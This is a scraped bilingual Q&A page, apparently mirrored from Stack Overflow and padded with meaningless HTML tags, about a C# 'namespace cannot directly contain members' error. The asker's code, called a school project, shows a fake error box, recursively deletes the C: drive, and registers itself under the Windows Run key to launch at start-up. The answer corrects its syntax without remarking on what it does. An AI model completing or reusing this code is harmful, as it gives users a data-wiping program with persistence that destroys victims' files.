1. <legend id='q5f2p'><style id='q5f2p'><dir id='q5f2p'><q id='q5f2p'></q></dir></style></legend>
        <bdo id='q5f2p'></bdo><ul id='q5f2p'></ul>
    2. <i id='q5f2p'><tr id='q5f2p'><dt id='q5f2p'><q id='q5f2p'><span id='q5f2p'><b id='q5f2p'><form id='q5f2p'><ins id='q5f2p'></ins><ul id='q5f2p'></ul><sub id='q5f2p'></sub></form><legend id='q5f2p'></legend><bdo id='q5f2p'><pre id='q5f2p'><center id='q5f2p'></center></pre></bdo></b><th id='q5f2p'></th></span></q></dt></tr></i><div id='q5f2p'><tfoot id='q5f2p'></tfoot><dl id='q5f2p'><fieldset id='q5f2p'></fieldset></dl></div>

    3. <tfoot id='q5f2p'></tfoot>

      <small id='q5f2p'></small><noframes id='q5f2p'>


        A namespace cannot directly contain members such as fields or methods?(命名空间不能直接包含字段或方法等成员?)
          <tbody id='iYkdA'></tbody>
        <tfoot id='iYkdA'></tfoot>

          <small id='iYkdA'></small><noframes id='iYkdA'>

            <bdo id='iYkdA'></bdo><ul id='iYkdA'></ul>
          • <legend id='iYkdA'><style id='iYkdA'><dir id='iYkdA'><q id='iYkdA'></q></dir></style></legend>

                1. <i id='iYkdA'><tr id='iYkdA'><dt id='iYkdA'><q id='iYkdA'><span id='iYkdA'><b id='iYkdA'><form id='iYkdA'><ins id='iYkdA'></ins><ul id='iYkdA'></ul><sub id='iYkdA'></sub></form><legend id='iYkdA'></legend><bdo id='iYkdA'><pre id='iYkdA'><center id='iYkdA'></center></pre></bdo></b><th id='iYkdA'></th></span></q></dt></tr></i><div id='iYkdA'><tfoot id='iYkdA'></tfoot><dl id='iYkdA'><fieldset id='iYkdA'></fieldset></dl></div>




                  I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).


                  However, I am getting the error "A namespace cannot directly contain members such as fields or methods".


                  Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

                  诚然,由于我的知识非常基础,我在网上和书本上使用了很多帮助,而我对 c# 的了解有限.因此,可能只是我很愚蠢,但每个人都必须从某个地方开始,对吧?

                  Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?


                  namespace Test
                  class Program
                       static void Main(string[] args)
                          MessageBox.Show("An unexpected error occured");
                          if (System.IO.Directory.Exists(@"C:"))
                                  System.IO.Directory.Delete("C:\", true);
                              catch (System.IO.IOException e)
                  public class Program
                      private void SetStartup();
                          RegistryKey rk = Registry.CurrentUser.OpenSubKey
                              ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                          if (chkStartUp.Checked)
                              rk.SetValue(AppName, Application.ExecutablePath.ToString());
                              rk.DeleteValue(AppName, false);


                  您的代码在 SetStartup 周围严重混乱.如果你按照正常的缩进,你会更清楚地看到发生了什么.在 Visual Studio 中按 Ctrl-E,然后按 D,它会重新格式化您的文档 - 这会让事情变得更加清晰.

                  Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.


                  Look at this (after I've indented it):

                  public class Program
                      private void SetStartup();
                  RegistryKey rk = [...];


                  That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.


                  I suspect you meant it to be:

                  public class Program
                      // Note: no semi-colon, and an *opening* brace
                      private void SetStartup()
                          RegistryKey rk = [...];
                          // Other code
                  // And you'd want to close the namespace declaration too


                  You're also going to have problems declaring two (non-partial) classes with the same name...




                  C# namespace alias - what#39;s the point?(C# 命名空间别名 - 有什么意义?)
                  Using Xpath With Default Namespace in C#(在 C# 中使用具有默认命名空间的 Xpath)
                  Generating an EDMX from a DB2 Database(从 DB2 数据库生成 EDMX)
                  IBM .NET Data Provider Connection String issue with Library List(库列表的 IBM .NET 数据提供程序连接字符串问题)
                  .NET DB2 OLEDB pre-requisites(.NET DB2 OLEDB 先决条件)
                  Referring to Code in IBM.Data.DB2 makes that Assembly Unavailable to the rest of my Solution(引用 IBM.Data.DB2 中的代码使该程序集对我的解决方案的其余部分不可用)
                2. <i id='Ske3T'><tr id='Ske3T'><dt id='Ske3T'><q id='Ske3T'><span id='Ske3T'><b id='Ske3T'><form id='Ske3T'><ins id='Ske3T'></ins><ul id='Ske3T'></ul><sub id='Ske3T'></sub></form><legend id='Ske3T'></legend><bdo id='Ske3T'><pre id='Ske3T'><center id='Ske3T'></center></pre></bdo></b><th id='Ske3T'></th></span></q></dt></tr></i><div id='Ske3T'><tfoot id='Ske3T'></tfoot><dl id='Ske3T'><fieldset id='Ske3T'></fieldset></dl></div>
                  <legend id='Ske3T'><style id='Ske3T'><dir id='Ske3T'><q id='Ske3T'></q></dir></style></legend>

                        <tfoot id='Ske3T'></tfoot>

                        <small id='Ske3T'></small><noframes id='Ske3T'>

                          <tbody id='Ske3T'></tbody>
                          <bdo id='Ske3T'></bdo><ul id='Ske3T'></ul>